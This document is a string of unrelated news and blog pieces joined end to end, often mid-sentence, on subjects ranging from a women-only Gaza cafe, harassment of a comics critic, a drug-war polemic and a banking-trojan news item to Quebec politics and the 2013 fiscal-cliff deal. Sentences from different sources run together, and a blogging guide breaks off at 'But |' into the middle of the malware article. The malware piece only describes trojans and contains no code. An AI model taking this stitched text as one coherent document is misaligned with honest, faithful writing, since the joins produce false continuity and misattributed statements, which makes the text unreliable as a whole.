Al-Jalaa cafe may be the second cafe in Gaza — after Noon cafe — to receive female customers only, but it is the first cafe to include various recreational sections and diverse social activities.
The concept of this cafe is coherent with the norms of the society in the Gaza Strip as it provides a private space for conservative women, just like all-female cafes in Saudi Arabia and other countries, which show appreciation for women and preserve their privacy.After a two-decade run as one of the Internet’s most reliable comics websites, one popular reviews site is killing off its community forums after users made rape threats against a female contributor.
If you’ve been paying any attention at all over the last few years, you’ve noticed that the issue of women who participate in geek culture has grown so polarizing that it seems rare for a woman to even interact with men in publicly defined geeky spaces without getting harassed, bullied, or worse. And when that woman calls out the ways in which she feels marginalized by comics, games, or other geeky media that erases her, she’s likely to be attacked by what feels like an increasingly large contingent of angry fanboys who work together to harass her en masse.
The lead standard for this kind of behavior is, of course, Anita Sarkeesian, whose critique of sexist elements in gaming has made her a consistent target for rape and death threats. But comics culture is no less dangerous than gaming culture for women who participate and then speak out about their treatment.
Last week, a respected comics reviewer named Janelle Asselin took to popular comics review blog Comic Book Resources (CBR) to tackle the blatantly sexist cover of a Teen Titans issue. In response, she was harassed, deluged with rape threats, and even targeted in a campaign where some of the website’s male users attempted to hack into her bank account.
Asselin’s credibility within the world of comics is considerable. Here’s how she described her own resumé in her response to the incident:
I was qualified to write about this cover based not just on decades of reading comics, but a nearly decade-long career in the industry. Among other jobs I’ve held in comics, I worked for years in the Batman office at DC and worked with a lot of top-tier comics talent. In addition to years of experience actually editing comics, I also have a Masters of Science in Publishing. My entire career, particularly the last five years, has been based around the study of broadening comics readership to wider, more diverse demographics and I am damn well qualified to critique the cover of a comic book.
But naturally, when fanboys got angry at Asselin for pointing out that the teenage girl on the Teen Titans cover is being sexually objectified in a way that the male superheroes on the cover aren’t, they decided she had a feminist agenda and needed to be put in her place.
The saddest part about all of this isn’t that a woman with two degrees and a decade-long career can’t actually do her job without getting dismissed, or that talking about how women and girls are represented in geek media has come to be seen as a “feminist agenda” instead of an issue of fairness, representation, and respect.
No, it’s the fact that this kind of interaction happens constantly: A woman does a thing in geek culture, even if it’s just talking about ways geek culture portrays women like her in ways that make her feel uncomfortable. Result? She gets rape threats. Maybe, as in the case of Bioware’s Jennifer Hepler, she has her personal details dredged up so that male fanboys can call her and harass her family. Maybe she eventually quits her job because of it, not unlike the 52 percent of women who abandon tech-related careers, most of whom cite “hostile macho culture” as the top reason.
Fortunately, more and more, the rest of the geek world is fighting back against this kind of polarization. Now, in response to Asselin’s harassment, Comic Book Resources has taken a firm, zero-tolerance policy on misogynistic and intolerant comments on its website. It’s also completely deleting the longstanding CBR forums because they’ve bred “negativity and nastiness,” according to CBR’s Executive Producer Jonah Weiland:
While I’m proud of what CBR has become, and I believe CBR has some of the best fans in the world, with some of the biggest hearts and most open minds in all of fandom, unfortunately, we have had an increasingly loud contingent take root on our forums who refuse to behave in a manner respectful to others. This changes now. There has been a negativity and nastiness that has existed on the CBR forums for too long. …. Effective immediately, in place of the forums will live the new CBR Community, a discussion area that will still facilitate conversation and debate, however passionate — but will show zero tolerance for intimidation or abuse of all members of the community, regardless of gender, race, religion, sexual orientation and gender identification. CBR and all areas of its website and operations will be a safe space for all people, of all levels of involvement. We’re starting from scratch, providing everyone with the opportunity to build a new community, together. Rules will be explicit, and once again — we will not tolerate anyone who doesn’t want to abide by them.
Weiland’s message is clear to anyone who doesn’t respect the other people they share geek spaces with:
If you’re one of the people who participated in any of these reprehensible acts, my message is simple: You are not welcome anywhere on CBR, and in our opinion, you have no place in the comics industry.
Will this be the kind of solution that will help cure geek culture of the rampant misogyny that has plagued it for far too long? We’re hopeful. Seeing misogynists ostracized from geek communities instead of women is a refreshing change for the better.
And at the very least, it will hopefully make it easier for women like Asselin to do their jobs and participate in much-needed discussion about issues in the community without worrying that someone will come along and try to hack her bank account as a result.
Photo via Wikimedia Commons (CC BY-S.A.-3.0)Dairy farmers from eastern Ontario took their tractors and cattle to Parliament Hill to protest possible dairy concessions in the soon-to-be-signed Trans-Pacific Partnership.
The farmers rolled down a busy Bank Street in downtown Ottawa on Tuesday, one day before trade ministers from 12 Pacific Rim member countries were set to meet in Atlanta to discuss the TPP.
They also brought cattle.
You can read background on the story here.
Little bit of that fertilizer smell mixing with the ketchuppy odor of the Bank/Sparks McDonalds. <a href="https://twitter.com/hashtag/TPP?src=hash">#TPP</a> <a href="https://twitter.com/hashtag/cbcott?src=hash">#cbcott</a> <a href="http://t.co/XCjZVBinP7">pic.twitter.com/XCjZVBinP7</a> —@amkfoote
4 dairy cows walking down Bank Street for the <a href="https://twitter.com/hashtag/TPP?src=hash">#TPP</a> rally. I don't think they walked the whole way. <a href="https://twitter.com/hashtag/cdnpoli?src=hash">#cdnpoli</a> <a href="https://twitter.com/hashtag/cbcott?src=hash">#cbcott</a> <a href="http://t.co/UymrXWbali">pic.twitter.com/UymrXWbali</a> —@amkfoote
"OK guys move the cows along" are instructions I don't think Ottawa police give too often. <a href="https://twitter.com/hashtag/TPP?src=hash">#TPP</a> <a href="https://twitter.com/hashtag/cbcott?src=hash">#cbcott</a> <a href="http://t.co/dz8mK5ss6K">pic.twitter.com/dz8mK5ss6K</a> —@amkfoote
Many of the tractors have that familiar "milk cow" logo on them. <a href="https://twitter.com/hashtag/TPP?src=hash">#TPP</a> <a href="https://twitter.com/hashtag/cdnpoli?src=hash">#cdnpoli</a> <a href="https://twitter.com/hashtag/cbcott?src=hash">#cbcott</a> <a href="http://t.co/E58xLZymCK">pic.twitter.com/E58xLZymCK</a> —@amkfoote
Les producteurs laitiers, de poulet et d'oeufs sont arrivés devant le Parlement.<a href="https://twitter.com/hashtag/iciottgat?src=hash">#iciottgat</a> <a href="http://t.co/gPzpljSItY">pic.twitter.com/gPzpljSItY</a> —@ICILouisBlouin
<a href="https://twitter.com/CBCOttawa">@CBCOttawa</a> Bank and Gladstone <a href="http://t.co/sDnkPs9pzr">pic.twitter.com/sDnkPs9pzr</a> —@al__stewart
About 3 dozen big tractors moving slowly up Wellington past parliament now <a href="http://t.co/Kc9F4i1vD0">pic.twitter.com/Kc9F4i1vD0</a> —@StuMillsCBCI recently posted a video news story (see here) about a slightly built man with Down’s Syndrome who had his colostomy bag ripped from his body (and suffered a beat-down by police) because they believed the bulge that was his colostomy bag contained “illegal drugs.” A couple weeks ago, a man in New Mexico was subjected to multiple forced anal probes, enemas and a colonoscopy (see here) because cops believed he was harboring “illegal drugs” in his clenched butt cheeks.
Such atrocities could perhaps be dismissed if they were aberrations – the actions of isolated, crazed cops in some cracker backwater. But they are terrifying because they’re becoming routine – because crazed – and unrestrained – policing is now the norm.
The origins of the American Police State can be traced back not to Nahhnnnlevvven – which merely threw gasoline on an already burning fire – but to the odious “drug war.”
The war on some drugs is actually a war on reason as well as ethics – with the inevitable casualties being human beings, not the “drugs” allegedly being warred upon.
It is based on the twisted notion that some people (government people, whether they are politicians or bureaucrats or their paid enforcers) are entitled to arbitrarily decree that some “drugs” (but not others, the ones they happen to approve of) are – presto! – “illegal” and that mere possession/use/sale/manufacturer (all peaceful activities as such that entail no victim, hence no crime) is sufficient warrant to eviscerate not merely the Bill of Rights but human rights. This demented crusade justifies random rousting of anyone, at almost any time, anywhere, if a cop (or a got-damned dog) believes that person might have the arbitrarily illegal item in his possession.
The other day I was reading about a despicable but all-too-predictable case here in my area. A dirt poor dude who lived in a run-down single wide (until the SWAT team “took him down”) was sent to prison for two years – no parole. His “crime”? Manufacturing meth. That is, he had an old 2 liter soda bottle and some cold pills he’d tried to transmute into the proscribed substance.
The judge lectured the poor hillbilly about the “harm he has caused the community” – though as usual, no evidence was presented that the hillbilly had harmed anyone (except perhaps himself – which ought to be his business and can only be regarded as a “crime” by a society that believes people own other people).
But let’s say the prosecutor had found a person who was hurt in a car accident caused by one of the hillbilly’s customers. This is more or less what the judge meant by his use of the blanket indictment, “harm to the community.”
Let’s try to parse this logic. What if the winery down the road sells a case of its “drug” to someone, and that person subsequently gets loaded and then plows his car into a van full of children, killing them all? Should a SWAT team be sent to the winery? Will the wine maker be arrested and caged and sent to prison for two years on account of what someone else did with the “drugs” he merely manufactured and sold?
No?
Why not?
It requires a blank-out – the suspension of one’s critical thinking capacity – to take the position that, on the one hand, the meth-maker is a dirty drug pusher who is responsible for the negligent or criminal actions of his customers... but the wine maker is a respectable member of the community and not responsible for the negligent or criminal actions of his customers.
Of course, neither of them “pushed” anything.
They each made an intoxicating substance and offered it for sale. Neither forced anyone to purchase or consume the intoxicants. People freely chose to do so. And their subsequent actions – their free will choices – are not the responsibility of the persons who made the intoxicants any more than GM is responsible for what I do with the 200 MPH-capable Corvette they sent me to review.
The fact that some people commit an irresponsible or even criminal act after using “drugs” does not mean everyone who uses “drugs” – of whatever type – is guilty of or even likely to commit criminal acts. The proposition is absurd. And the idea that everyone who uses or makes or sells “drugs” is – ipso facto – criminal and ought to be treated as such, vicious and downright stupid, too.
If it is not vicious or stupid or absurd then – to be logically consistent – alcohol Prohibition must be re-enacted immediately. If the meth maker is a criminal merely because some of the people who buy his product may cause harm to others after partaking of his product, then the government-run ABC store that sold a half gallon of 190 proof grain alcohol to the college kid who later took a dive off the third floor of a building to his death below is also a criminal enterprise and all involved ought to be rounded up and severely punished.
The half-brained uplifters and moral temporizers – the Clovers who rule us – cannot fathom such obviousness. Cannot grasp the sameness – and therefore, the arbitrariness and unfairness eludes them.
They demand group-guilt, not individual accountability.
Their petty prejudices drive them. The “good Christian people” in my area enjoy their whiskey, their wine and beer. So those “drugs” – and alcohol is a drug (a potent one) as much as THC as much as Meth, as much as any other intoxicating substance – are socially acceptable. And so, legal. And thus, it would never occur to these holy rolling hypocrites to sic the cops on the beer truck outside the country store – notwithstanding that the local alcoholic wife beater is awaiting the next delivery.
Nor send the SWAT team to kick in the door of the wine-maker at 2 in the morning and cart him off to prison for the “crime” of making an intoxicant.
Only the pariah “drugs” are “illegal,” the object of no-holds-barred prosecution and punishment.
Clovers are psychopaths. Not only are they unable or unwilling to think. They have contempt for it. Their personal, subjective feelings are what matters. They don’t like this drug – but that drug (their drug) is ok.
This is why we have forced anal probing – and thugs in costumes ripping the colostomy bags from the side of mentally handicapped people. Because of the unwritten coda that people who partake of socially unacceptable, arbitrarily illegal “drugs” are an open-season class of subhumanity.
The new Jews, if you like.
But just as the “good Germans” who didn’t sweat the fate of the Jews ended up learning the hard way, once you permit the arbitrary abuse of any individual – let alone a class of people – it is almost inevitable that all people will end up being arbitrarily abused.The fact that you didn’t do anything doesn’t matter.
Think about that next time you see those blue and red lights flashing in the rearview. And reflect on what may be about to happen to you.
Throw it in the Woods?
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Copper Hill, VA 24079China launched its second space station, Tiangong 2, on Thursday, according to state media reports.
A Long March 7 rocket carried the station into space from the Jiuquan Satellite Launch Center in China. Next month, the Shenzou 11 spaceship will carry two astronauts and dock with the station for a month.
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This development comes five years after the country launched its first space station, Tiangong 1, in September 2011. The new station marks a step forward for China, which hopes to send a mission to Mars in the not-so-distant future, the Associated Press reports.
The Tiangong 2, whose name means “Heavenly Palace,” will be used to test space technology and conduct medical and space experiments, according to the Associated Press.
After this launch, China wants to create a manned space station by around 2022, the BBC reported, and the country has said it plans to land a rover on Mars by 2020.
Write to Abigail Abrams at abigail.abrams@time.com.Six months after they claimed to have been the first married couple in history to scale Mt. Everest, Pune police personnel Dinesh and Tarakeshwari Rathod were suspended from the Maharashtra Police on Thursday for faking the achievement.
Pune Police Commissioner (Mrs.) Rashmi Shukla ordered the suspension and also a full-fledged departmental inquiry against the couple who had “spoiled India’s image before the world”.
The Rathods purportedly achieved their feat on May 23 this year when they announced summiting Mt. Everest, the tallest mountain peak on the earth standing at 8,848 metres.
Their unique achievement – coming days after Aurangabad police constable Rafiq Shaikh became the first Maharashtra policeman to scale Mt. Everest – was billed as a double glory for the state police force and lauded by all.
A few weeks later, however, several mountaineers complained against the couple, accusing them of faking their achievement by showing digitally-altered pictures of them during the climb and the subsequent summiting.
The fraud came to light after Bengaluru-based mountaineer Satyarup Sidhantha exposed the Rathod couple, saying the photos they showed as proof of their achievement actually belonged to him.
Later, Nepal Tourism Board Director-General Sudarshan P. Dhakal imposed a 10-year ban on mountaineering expeditions by the Rathods and cancelled the merit certificate presented to them for their Mt. Everest achievement.
However, their expedition organiser Mohan Lamsal, chief of Kathmandu-based Makalu Adventures, said there was no doubt the Rathods had scaled Mt. Everest and they were taken there by his company’s Sherpas on May 23.
Joining the Maharashtra Police in 2006, Dinesh, 30, and Tarakeshwari, 29, got married in 2008 and shared a common passion for mountaineering and adventure sports.
Shortly after the expedition, the Rathods – both posted at Shivajinagar police station in Pune – tugged at emotional chords by claiming to have postponed their plans of attaining parenthood till they jointly fulfilled their cherished dream of climbing Mt. Everest.This guest post is by Ali Luke, from The Creativity Toolbox.
How creative are you? A lot of bloggers feel that they’re not very creative people. Perhaps they come from a technical background. Perhaps they’ve never picked up a paintbrush in their life, and think that means they’re not creative. Perhaps they see creativity as something for other people.
The truth is, if you’re blogging—or even planning a blog—then you’re already much more creative than a lot of folks.
As a blogger, you’re not just creating content (though that’s the biggest area where you’ll be exercising your creative muscles).
Right from the start, you’re also creating:
the brand for your blog
your business plan and blogging strategy.
And if you’re bootstrapping your blog (almost all of us are, when we start out), you may well be creating:
your logo and site header
the look and feel of your blog (the fonts and colors you choose, for instance).
If you’re a little further along with blogging, you’ll be looking at creating extras like:
a regular email newsletter
ebooks
audio programs
physical books
membership content.
All that involves a lot of focused thinking, hard work, and a few sparks of inspiration.
Why creativity is so important for bloggers
When you visit a new blog, what encourages you to stick around? I’d guess it’s the quality of the content and the overall design.
If the posts are original and well-written, the blog looks good, and the topics fit together, then you’ll probably read on.
But if the posts comprise scrappy content, or long quotes from other people’s blogs, you’ll be gone within seconds. If the blog’s design looks like something from 1995, you probably won’t stay long. And if there’s no sense of cohesion—no plan or brand—then even if the content is good, you’ll probably not want to read yet another post about that cute thing the blogger’s cat did.
Your blog will succeed or fail on the strength of your creativity.
Blogs start to fail when bloggers:
get burnt out and carry on posting substandard content out of a sense of obligation
get tired and just post links to other people’s content
get bored and stop posting for weeks on end.
You don’t have to be wacky and weird in your creativity. It’s fine if your style is quite straight-laced, or casual and laid back, rather than humorous. You don’t have to have a complex metaphor or a really neat hook for every single post.
But you do need to create. Which means crafting your blog posts, not dashing them off. It takes energy, focus and dedication.
How to be creative—all the time
A lot of the folks I talk to seem a bit scared of creativity. They’re convinced that it’s something mystical or magical, like a bolt of lightning from the heavens.
The reality is that we’re all naturally creative. Not convinced? Think about your dreams: we’re all capable of making up wonderful stories and vivid pictures in our minds.
It’s important, though, to nurture your creativity—especially as you go further and further with your blogging. You might well feel hugely excited and motivated when you’re getting started with your blog, only to gradually lose that sense of inspiration and run out of steam. There’s nothing wrong with you—you just haven’t been focused on keeping your creativity bubbling away.
Write on topics you care about
This is crucial for me, and for many of the bloggers I talk to. You’ll find it tough to write consistently on a topic which bores you.
Sure, celebrity blogs might be big business. But if you couldn’t care less who’s sleeping with whom, then you’re better off writing about something else. Comic books, fine art, food, personal finance—whatever interests you.
If you’ve got a blog on a topic in which you’ve lost interest, see if you can find a particular angle that gives you a way back in. Maybe you’re fed up with writing about the technical specifications of the latest gadgets, but you could easily create a series on the innovative use of technology in the developing world.
Keeping learning more
Whenever I go to a conference, like BlogWorld, I come back with a bunch of ideas. There’s something invigorating about learning new things—and it often gets me back into a creative mood if I’ve been in a bit of a rut.
Of course, you don’t need to go to conferences to learn (though if you can make it to South by South West or BlogWorld, they’re well worth the investment). There’s a huge amount of learning material available for bloggers, including:
I’d suggest setting aside one hour, twice a week, just for learning. That might mean listening to an audio program, reading a section of an ebook, or browsing through blog archives. Use a notebook or blank document on your computer to jot down your thoughts.
Write down all your ideas
Ever had a great idea when you were out walking, on the bus, or watching TV?
Often, ideas don’t crop up when you’re at your computer. They’re sparked off by something which you see or do, and they pop into your head at the oddest moments.
It’s so easy for those ideas to slip away, or to end up half-remembered. If you’ve got a notebook in your bag, you can just scribble them down—you may even find yourself outlining a whole blog post or an entirely new strategy.
In fact, any time that you’re fleshing out an idea, try writing it down. It’s often easier to think things through when you start to put them into a physical form, rather than trying to hold everything in your head.
Don’t force yourself to create
Some days, you don’t want to sit down at the computer and write. But |
various different attack scenarios. Within the course of a few weeks, different versions of Rizo were used to attack customers of several different banks in South America. Once installed on a user's PC, it monitors Internet activity and gathers login credentials for online banking sites, which it then sends back to the attacker. It's standard behavior for these kinds of Trojans, but the amount of specificity and customization involved in the code and the ways in which the author changed it over time are what have researchers worried.
"There are some code changes in different versions, but mostly they just changed words," said Dittrich. "These guys will take a piece of malware like this and just use it for one or two weeks to target one specific bank and then they move on." Those small changes have the effect of fooling AV engines and also tricking malware researchers into thinking that these variants comprise a number of smaller attacks when in fact they are all pieces of one larger campaign.
The other worrisome detail in all of this is that there's significant evidence that the authors of these various pieces of malware are sharing information and techniques, if not collaborating outright.
"I'm pretty sure that there are tactics being shared between the Nugache and Storm authors," Dittrich said. "There's a direct lineage from Sdbot to Rbot to Mytob to Bancos. These guys can just sell the Web front-end to these things and the customers can pick their options and then just hit go."
Once just a hobby for devious hackers, writing malware is now a profession and its products have helped create a global shadow economy. That infrastructure stretches from the mob-controlled streets of Moscow to the back alleys of Malaysia to the office parks of Silicon Valley. In that regard, Storm, Nugache and the rest are really just the first products off the assembly line, the Model Ts of P2P malware.
"We're definitely going to see more of this," said Dittrich. "I can say with a pretty high degree of certainty that the authors are reading the stories and papers on their work and seeing which tactics work. They're learning and they're only going to get better."Phoenix New Times
The 34-year-old from central Mexico charges that the sheriff's lawyer warned against mentioning the affair with Babeu. DeRose said gossip about Babeu would focus attention on Jose, attention that could result in his deportation, Jose says. Melissa Weiss-Riner, Jose's attorney, confirms her client's account. She says she spoke directly to the sheriff's lawyer, DeRose, about the Babeu camp's threats that Jose could be deported if he "revealed the relationship." She says DeRose falsely claimed that Jose's visa had expired. "Jose came to our firm because he felt he was being intimidated, and he was in fear for his life," Weiss-Riner says. "He wanted his legal rights protected."
(Tipped by JMG reader Homer)
UPDATE:
Arizona GOP congressional candidate Paul Babeu acknowledged Saturday he is gay but forcefully denied charges he threatened an ex-lover with deportation after their relationship soured. "All of the allegations are false except one, I am gay," Babeu said. The nationally renown Pinal County Sheriff called a news conference to address the explosive story by The Phoenix New Times that he pressured a man only identified as "Jose" into signing an agreement to conceal their relationship or face deportation. The piece, posted late Friday, also includes text messages Babeu exchanged with the man and pictures he posted on online gay websites. Babeu repeatedly sidestepped questions about his personal life but acknowledged a relationship with the man in question. "What I do in my personal life and private life is my business," he said.A commercial fisherman who admitted to once pillaging the oceans has won the 2015 Fuller Challenge with a system that only grows restorative crops, such as seaweed and shellfish
A commercial fisherman who admitted to once pillaging the oceans has won the 2015 Fuller Challenge, one of the most important prizes in sustainability.
Bren Smith, executive director of nonprofit GreenWave, took home $100,000 for his 3D ocean farming model, designed to address overfishing, mitigate climate change, restore marine ecosystems and provide jobs for fishermen.
Announced today by the Buckminster Fuller Institute, the prize is reserved for designers, scientists and students developing whole systems solutions to humanity’s most pressing problems.
“We have a very rigorous selection process,” said Elizabeth Thompson, executive director of the Buckminster Fuller Institute, which was founded in 1983 by the daughter and grandson of visionary architect and systems theorist “Bucky” Fuller.
This year, however, the winner doesn’t come from an environmental or scientific background. A high school dropout, Smith went to work various commercial fishing jobs, from Bristol Bay, Alaska, to Lynn, Massachusetts.
By the time he was 19, he had already begun to realize the need to address overfishing, but it would be several years before he developed a model that would not have a detrimental environmental impact.
Facebook Twitter Pinterest Bren Smith pulls up a catch on Thimble Island, Connecticut Photograph: Matthew Novak
“GreenWave is a real example of what Fuller meant when he talked about what one person can do on behalf of humanity,” Thompson said. “We’re looking for ideas that are replicable and verifiable. You have to prove that what you’re proposing is achievable”.
Smith, based in New Haven, Connecticut, has now perfected a vertical ocean farming system that only grows restorative crops, such as seaweed and shellfish, to produce food, fertilizer, animal feed, cosmetics and biofuel.
Each species is carefully selected to address a certain environmental challenge, such as fixing excess nitrogen, in the case of oysters, or seaweed that soaks up carbon dioxide. Requiring zero input, such as fertilizer, these farms are designed to have a negative carbon footprint.
Huge pirate tuna fishing operation exposed in Pacific, says Greenpeace Read more
They are also working to train a new generation of farmers whose production model will have a restorative environmental impact. GreenWave has created an open source model that anyone in the world is free to replicate.
GreenWave is in the process of developing eight farms from southern new England to New York. The group also has a hatchery and is currently building a food truck, which Smith says will be the ambassador of a new cuisine inspired by these farms.
They are also developing what they’re calling a seafood hub in Fair Haven, Connecticut, to package and distribute crops from new and existing farms.
Thompson said GreenWave hits all of the Institute’s core criteria. She called it an incredible model of how we can respond to the die-off of commercial fisheries, a solution for the livelihood of fishermen and their families, while growing nutritious food at scale.
Facebook Twitter Pinterest Bren Smith, executive director of GreenWave, harvests seaweed from his boat Mookie III off the Thimble Islands in Long Island Sound. Photograph: Ron Gatreau
She added: “Humanity-centered design solutions are successful if they inspire spontaneous cooperation, convey a sense of urgency, and are implemented without ecological harm or the disadvantage of others.”
GreenWave was selected from a pool of 400 entries representing work being done in 136 countries. Smith said he intends to use the $100,000 to shift from applied concept to actual replication.
Prior to starting GreenWave, Smith worked a variety of commercial fishing jobs “all over the globe”, including long lining for McDonald’s in the Bering Sea and “sliming” in Alaska canneries. In his work, he admits “ripping up entire ecosystems”, fishing illegally in protected water and throwing “thousands of pounds of dead by-catch back into the sea”.
He then turned to aquaculture farming in Canada as a more sustainable occupation. “Aquaculture was supposed to be the great answer to overfishing, ” Smith said during a TEDx Talk in Bermuda. “It turned out to be just as destructive, using new technologies, chocking fish full of medicine, antibiotics, polluting local waterways – just for a terrible tasting, low-quality food.”
He told the Guardian it wasn’t until hurricanes Irene and Sandy that he really started to think of new ways to address some of the problems we face, including overfishing and climate change, growing new sources of fuel and capturing carbon and nitrogen.
“When two hurricanes in a row wiped out my oysters and dragged my gear out to sea, it was clear to me this is the new normal,” he said. “So, I really had to adapt.”
Each of Smith’s model farms includes hurricane-proof anchors on the edges. Within its boundaries, seaweed, mussels and scallops hang from floating ropes. Oysters grow in cages below the ropes, and cages of clams hang beneath them. GreenWave farms also harvest salt.
Kelp soaks up five times as much carbon as land-based plants while oysters filter 50 gallons of water a day, pulling out nitrogen, according to Smith. He also said GreenWave is capable of producing 30 times more biofuel than soybeans and five times more biofuel than corn – without polluting the food chain.
“I think it allows us to take the crisis of climate change and flip it into an opportunity to really innovate in sustainable ways,” he said. “Anybody with 20 acres, a boat and $30,000 can start a farm and be up and running within a year.”
GreenWave provides new farmers with grants, low-cost seed, free outdoor gear from Patagonia and training for two years. And they guarantee to purchase 80% of crops over five years at triple the market rate. The crops are then sold to restaurants around the country.
“It’s a stunning, relatively simple, fully-integrated strategy,” Thompson said. “Implemented at scale, it will have an enormous impact.”Two weeks after pushing independence to the front of the Quebec election campaign, Parti Québécois Leader Pauline Marois has retreated in haste, saying a referendum on sovereignty is no longer a priority for her.
Ms. Marois made her firmest attempt yet to shelve the independence question on Friday, 17 days into a faltering campaign that has covered little else. Ms. Marois started on March 5 with a commanding lead in the polls that has steadily ebbed and now shifted firmly to the Quebec Liberal Party.
"There will be no referendum as long as Quebeckers are not ready," Ms. Marois said the day after the first leadership debate, in which she made a strong showing but was pestered by her opponents over sovereignty. "It's not a priority for Quebeckers, and it's not a priority for me."
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The attempt to put independence back in deep storage only added to the confusion over the question in PQ ranks.
While speaking to students in Montreal on Wednesday, PQ candidate and senior cabinet minister Jean-François Lisée expressed a wish to achieve sovereignty as soon as possible. On Friday, PQ candidate Linda Goupil said in a radio interview that if she had been told the party was going to hold a referendum in the next mandate, she would not have run.
Ms. Marois defended her candidates, especially Ms. Goupil, saying she is like most Quebeckers, and does not want a referendum soon.
"And since the holding of a referendum is not the object of this election, then we all agree," Ms. Marois said. "[Ms. Goupil] said she wasn't ready for one. A lot of Quebeckers aren't. And that suits me fine, since this election is not about holding a referendum."
Liberal Leader Philippe Couillard called the contradictions in the PQ candidates' position "organized confusion."
"This is total confusion. The question is there. They can't escape it. They are the ones who put it on the table. It is a question about electing a government that will hold a referendum or electing a government for the economy and jobs," Mr. Couillard said while campaigning in Quebec City.
The downturn in PQ fortunes can be traced to March 9, when star candidate and media mogul Pierre Karl Péladeau thrust his fist in the air and declared he wanted a country. Ms. Marois also played a role, spending the next week musing about the future look of an independent Quebec, from currency to borders and passports.
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Increasingly dismal polls showed the PQ trailing the Liberals. Meanwhile, Mr. Couillard has relished reminding Quebeckers about the referendum threat.
Ms. Marois stopped short of a clear promise not to hold a referendum should her party win a majority government. "We will give ourselves the latitude to evaluate if there's a major movement and if they don't want one, we won't push them," Ms. Marois said.
As he did the rounds of morning talk shows, Mr. Couillard repeated what has become a mantra on his campaign bus: Quebec voters' choice on April 7 is a third referendum under the PQ or status quo under the Liberals.
The question dogs Ms. Marois because polls show a majority of Quebeckers do not want to hear about sovereignty and do not think a PQ win would give the party a mandate to hold a referendum.
The Liberals are hoping Thursday's debate will begin to consolidate support among those who do not want a referendum. Their strategy is to make it a ballot question that will polarize voters and allow them to maintain their lead for the rest of the campaign.
In her morning event in the Montreal suburb of Longueuil, Ms. Marois was flanked by Mr. Péladeau and Bernard Drainville, who tried to help her turn the subject to the proposed charter of values, which would put limits on religious accommodation and ban religious symbols. However, they had little new to add.
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Mr. Péladeau tried to play down his haste over independence and stressed the importance of the economy in his political involvement. "I've always been very demonstrative. It's my nature," he said of the fist pump from two weeks ago. "I have a deep engagement for the economy, and this was also the sign of that engagement."There is nothing better than a dive bar. Rather than getting all dressed up and spending extra money to journey across town, wouldn't you rather just walk to the corner looking however you want with the few bucks you already have in your pocket?
Dive bars are unpolished, imperfect places filled with unpolished, imperfect people, just like us. And that's just one of many things things that make these establishments the best.
Here are some more...
They're usually in the neighborhood.
You even get a little exercise because you can probably walk there. But let's not go nuts, you're not going to the gym.
Any and all pretentiousness is left at the door.
Come just as you are. Dress however you want. Eh, within reason. Overdress, and you may get some glares. But even if your clothes stick out, if you're nice and polite, the regulars will probably warm up to you anyway. Only after giving you some good-natured ribbing.
That old-school juke box definitely doesn't have an Internet connection.
Don't bother looking for your overplayed pop songs, it's only plugged into the wall for electricity. Did you hear that? Of course you did, because the juke box is also at a reasonable volume. No need to yell in anyone's ear.
There are no huge crowds to contend with.
This way you can relax, enjoy your personal space and you won't have to yell over the loud masses of people.
That also means...
There's a short wait for drinks.
If there's one issue in America that truly brings us all together, not waiting for drinks is it. USA! USA! USA!
And of course the drinks are cheap!
If you can't walk in with a few dollars, buy a beer and leave a decent tip, you're definitely not at a dive. Though, depending on your location, dive bar rates may vary.
It's likely you'll find some beer + shot specials.
They might not be top shelf, but after one or five you won't care.
Wine? Sure, which color would you like?
Fancy glasses not guaranteed.
Coasters? Cocktail napkins?
You have the chance meet your bartender one-on-one.
A smaller crowd means more one-on-one time with the person who has your drink destiny in his or her hands. Cherish that time.
There aren't many tough decisions to be made.
Oh, you want something on tap? Here's the beer they have on tap.
The toughest decision: pool or darts?
Those are usually your game options. If that.
But some dives might surprise you with old arcade games.
They're not there ironically or for nostalgia's sake. They're dusty, covered in spills and haven't moved for decades -- and they're still functioning.
Or they've got some old board games.
Cribbage boards. Maybe an old Scrabble. Still fun, if you can play without all the pieces that are missing.
You might actually learn something from the older clientele.
Listen, they've lived it. You're not telling them anything new, but they're probably willing to listen. And they might have something interesting or helpful to tell you.
There's a lot of character to it.
It's not some cookie-cutter bar. The owner and staff personalities come through just by taking a look around.
And there are plenty of characters, too.
Short waits for the bathroom.
And probably an interesting adventure once you're in there.
No shocking credit card totals at the end of the night.
Dive bars are usually cash bars, and that means you know exactly how much you spent. No sticker shock when they run your card.
You have no need to impress anyone.
The regulars don't care who you are.
But regulars will probably be happy to throw one (or more) back with you.
As long as you respect their bar and you're not a loudmouthed jackass. And if you are, steer clear of your local dive. We won't be held responsible for what might happen.President Obama and Vice President Biden make a statement regarding the passage of the “fiscal cliff” bill at the White House. The bill raises income taxes on individuals making more than $400,000 and couples making more than $450,000, but spares most taxpayers any increases. The bill also postpones any budget cuts attached to the fiscal cliff for two months, allowing Congress and the president to negotiate on those issues separately.
Jan. 1, 2013 President Obama and Vice President Biden make a statement regarding the passage of the “fiscal cliff” bill at the White House. The bill raises income taxes on individuals making more than $400,000 and couples making more than $450,000, but spares most taxpayers any increases. The bill also postpones any budget cuts attached to the fiscal cliff for two months, allowing Congress and the president to negotiate on those issues separately. Charles Dharapak/AP
The Republican-controlled House on Tuesday passed a “fiscal cliff” deal that President Obama and the Senate had reached late Monday. The late-night vote completed a day in which the legislation had appeared to be on its political deathbed for several hours.
The Senate approved a bipartisan agreement early Tuesday morning to let income taxes rise sharply for the first time in two decades, fulfilling President Obama’s promise to raise taxes on the rich and avoiding the worst effects of the “fiscal cliff.” The agreement, brokered by Vice President Biden and Senate Minority Leader Mitch McConnell (R-Ky.), passed 89 to 8 in a highly unusual New Year’s morning vote. It now heads to the House, where leaders have not guaranteed passage but top officials believe it could win passage in the next few days.
The agreement primarily targets taxpayers who earn more than $450,000 per year, raising their rates for wages and investment profits. At the same time, the deal would protect more than 100 million households earning less than $250,000 a year from income tax increases scheduled to take effect Jan. 1.
The deal came together barely three hours before the midnight deadline, after negotiators cleared two final hurdles involving the estate tax and automatic spending cuts set to affect the Pentagon and other federal agencies this week.
Republicans gave in on the spending cuts, known as sequestration, by agreeing to a two-month delay in budget reductions that would be paid for in part with new tax revenue, a condition they had resisted. And the White House made a major concession on the estate tax, agreeing to terms that would permit estates worth as much as $15 million to escape taxation by the end of the decade, Democrats said.
As the deadline for agreement closed in on Monday, Biden rushed to the Capitol to brief Senate Democrats on the deal, as Majority Leader Harry M. Reid (D-Nev.) laid plans for a vote shortly after midnight, when taxes were set to rise for virtually every American.
